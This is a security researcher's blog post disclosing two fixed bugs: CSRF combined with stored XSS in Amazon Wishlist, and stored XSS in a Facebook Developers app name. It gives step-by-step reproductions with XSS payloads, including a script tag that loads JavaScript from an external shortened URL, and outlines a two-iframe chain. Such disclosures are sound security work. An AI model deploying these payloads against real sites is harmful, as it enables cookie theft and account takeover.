CSRF and stored XSS in Amazon Wishlist

The Amazon Wishlist was vulnerable to both CSRF and stored XSS. I discovered these vulnerabilities separately, but I'd like to describe both of them in one blog post here. Even though neither of these vulnerabilities would have had a big impact by themselves, if combined, they could have become a serious problem.

There was no CSRF-token validation for creating a new wishlist. Because of this, an attacker could have made a user send a request to amazon.com to create a wishlist with an arbitrary name. The following is a sample malicious page that redirects a user to amazon.com to create a wishlist named "CSRFed".

The stored XSS was in the wishlist name displayed on the Shopping Cart page. This vulnerability could only have been dangerous if an attacker could have tricked a victim user into changing his wishlist name. The following steps were taken to produce the XSS:

1. I created a new wishlist and set its title to "<img src=x onerror=alert(/XSSed/)>" in my Wishlist page at http://www.amazon.com/gp/registry/wishlist/.
2. I opened my Shopping Cart page at http://www.amazon.com/gp/cart/view.html.
3. An alert popup showing "/XSSed/" was displayed on my browser--the script was activated. 

If an attacker would have exploited these two vulnerabilities, he could have activated an arbitrary script on a victim's browser. In this attack, the attacker would have been required to create a malicious web page containing two iframes. One frame would have been for executing CSRF to create a wishlist and set its name to a malicious script. The other frame would have been for opening the Shopping Cart page. The iframe for XSS would have had to have been loaded after the wishlist had finished being created. When the XSS iframe opened, the script would have been activated.

I reported the XSS vulnerability on August 30 and confirmed that it had been fixed on September 25. Likewise, I reported the CSRF vulnerability on September 25 and confirmed that it had been fixed on October 3.

Stored XSS on Facebook Developers

A month ago, I discovered a stored XSS vulnerability on the Facebook Developers website. Even though a developer's page can be only accessed by its application developers, an attacker could easily grant other users permission to view the page by inviting them to become team members. After the users become team members, the attacker would be able to exploit the vulnerability and steal the users' cookies to spoof their identities. The attacker would also be able to change the content displayed on the developer's page.

The vulnerability was in the display name field of the application. The following steps were taken to produce the XSS on my Firefox 15.0 browser:

1. I created a malicious script, a file containing "alert(/XSSed/)", and hosted it on my server. The URL of the file became http://yujikosuga.com/xss.js
2. I shortened the URL to http://goo.gl/p3skt because the maximum character length of the display name field is limited to 32 characters.
3. I created a new Facebook application on the Developers website and set its display name to "<script src=//goo.gl/p3skt/><!--".
4. I clicked on the Open Graph tab in the left menu, entered "xss" into the input fields and proceeded to the next page.
5. I opened the Action Types section.
6. An alert popup showing "/XSSed/" was displayed on my browser--the script was activated.

I then created a test user account and invited it to take on an admin role for the application. The test user account represented an unsuspecting victim. By clicking on just one button to accept the role, the test user gained permission to access the malicious page. I was able to confirm that the script was activated on that account as well.

This vulnerability was reported on August 30 and fixed on September 5 as part of Facebook's Security Bug Bounty Program.